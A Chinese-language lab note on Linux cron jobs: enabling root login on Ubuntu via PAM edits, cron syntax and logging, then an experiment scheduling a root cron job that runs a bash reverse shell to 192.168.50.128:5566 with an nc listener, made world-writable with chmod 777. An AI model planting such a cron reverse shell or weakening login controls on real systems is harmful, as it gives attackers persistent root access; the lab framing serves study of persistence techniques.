定时任务
一、实验问题:
1、Ubuntu 20 以上版本无法直接使用root登录:(初始化环境,root无密码)
(1)设置root密码(如果设置过,此步可免)
1sudo passwd root2新密码3再输入新密码(2)修改配置文件1
1sudo vim /usr/share/lightdm/lightdm.conf.d/50-ubuntu.conf2
3文件末尾添加:4greeter-show-manual-login=true5all-guest=false
(3)修改配置文件2
1sudo vim /etc/pam.d/gdm-autologin2
3将第三行注释掉4#auth required pam_succeed_if.so user != root quiet_success
(4)修改配置文件3
1sudo vim /etc/pam.d/gdm-password2
3将第三行注释掉4#auth required pam_succeed_if.so user != root quiet_success
(5)修改配置文件4
1sudo vim /root/.profile2
3将文件末尾的 mesg n 2> /dev/null || true 这一行修改成4tty -s&&mesg n || true
2、/etc/crontab的作用?
这个crontab其实就相当于一个公共计划任务列表,因此比普通的计划任务要多个 name 字段。

3、crontab -u root -e 实际的计划任务位置在哪里?
1vim /var/spool/cron/crontabs/root #root用户2vim /var/spool/cron/crontabs/a #a用户3
4crontab -u root -r #清除root所有计划任务5crontab -u root -e #编辑root计划任务
这个位置的计划任务才是最重要的!!!
4、计划任务无法执行
(1)查看cron日志(排查错误)
1vim /var/log/cron.log
发现报错信息:
1No MTA installed, discarding output原因:cron把屏幕输出都发送到email了,而当前环境并未安装email server,于是系统报错。
(2)安装email服务器
1sudo apt-get install postfix安装这个的时候,出现了当时安装mysql的那种页面,需要下翻页面,然后使用上下左右键选中OK,回车即可。
(3)/var/mail/ 目录错误排查
安装完邮件服务器后,我继续在/var/log/cron.log查看日志信息,这时已经不报错了,但是还是无法反弹shell。
1vim /var/mail/root
查看报错信息:(文件权问题,本次使用定时任务执行 shell 脚本)
1/bin/sh: 1: /etc/crontabshell: Permission denied将目标文件权限修改为777即可。
1chmod 777 /etc/crontabshell更多细节请看:https://blog.csdn.net/weixin_47608789/article/details/122762609
二、定时任务基础
1、基础命令:
1##如果是CentOS则是crond2systemctl status cron (查看状态) #查看计划任务是否正常运行3
4###如果没有,如下安装设置5apt install cron(安装 cron)6systemctl start cron(启动crond服务)7systemctl enable cron (设为开机启动)8
9##基础命令10##查看cron是否开启(CentOS是crond)11service cron status12systemctl status cron.service13
14##开启cron15service cron start16systemctl start cron.service17
18##关闭19service cron stop20systemctl stop cron.service21
22##重启cron23service cron restart24service cron reload25systemctl restart cron.service2、常用参数
位置:/usr/bin/crontab
1常用参数:2-e : 执行文字编辑器来设定时程表,vim /etc/crontab # vi打开并编辑也可以3-u user 设定指定 user 的时程表,如果不使用 -u user ,默认设定自己的时程表4-r : 删除目前的时程表5-l : 列出目前的时程表6
7crontab /etc/crontab # 生效 (vi 命令新增定时任务时,需要执行)3、开启日志
(1)修改配置文件(取消cron的注释)
1vim /etc/rsyslog.d/50-default.conf
(2)重启rsyslog服务:日志服务
1service rsyslog restart(3)重启cron服务:定时任务服务
1service cron restart4、设置定时任务格式
1f1 f2 f3 f4 f5 comment(命令)1* * * * *2- - - - -3| | | | |4| | | | +----- 星期中星期几 (0 - 7) (星期天为0或7)5| | | +---------- 月份 (1 - 12)6| | +--------------- 一个月中的第几天 (1 - 31)7| +-------------------- 小时 (0 - 23)8+------------------------- 分钟 (0 - 59)1星号(*):代表所有可能的值,例如day字段如果是星号,则表示在满足其它字段的制约条件后每天都执行该命令操作。2逗号(,):可以用逗号隔开的值指定一个列表范围,例如,“1,2,5,7,8,9”。3中杠(-):可以用整数之间的中杠表示一个整数范围,例如“2-6”表示“2,3,4,5,6”。4正斜线(/):可以用正斜线指定时间的间隔频率,例如“0-23/2”表示每两小时执行一次。实例:
1#打开定时任务列表文件,进行编辑 保存 (注意:这里一定要写成全路径)2*/1 * * * * date >> /home/date_log.txt #(每分钟执行一次)3
4tail-f /home/date_log.txt #查看任务运行结果在 12 月内, 每天的早上 6 点到 12 点,每隔 3 个小时 0 分钟执行一次
10 6-12/3 * 12 * /home/脚本.sh三、实验步骤
测试一
1、判断环境
1##查看cron是否开启(CentOS是crond)2service cron status3systemctl status cron.service4
5##开启cron6service cron start7systemctl start cron.service
2、编写定时任务(shell脚本)
1vim /etc/crontabshell2
3内容如下:4#!/bin/bash5bash -i >& /dev/tcp/192.168.50.128/5566 0>&13、设置定时任务(建议指定用户,写完之后直接保存退出,一会就会执行了)
也可以直接编辑目标用户的定时任务文件
1crontab -u root -e2
3内容如下:4* * * * * /etc/crontabshell #每分钟执行一次shell脚本
4、攻击主机开启端口监听(建议提前开启)
1nc -lvp 5566实验结果:实验成功

测试二
1、直接在/etc/crontab中写计划任务

2、指定计划任务执行目录(不指定也行,等一会就OK了)
1crontab /etc/crontab
部分信息可能已经过时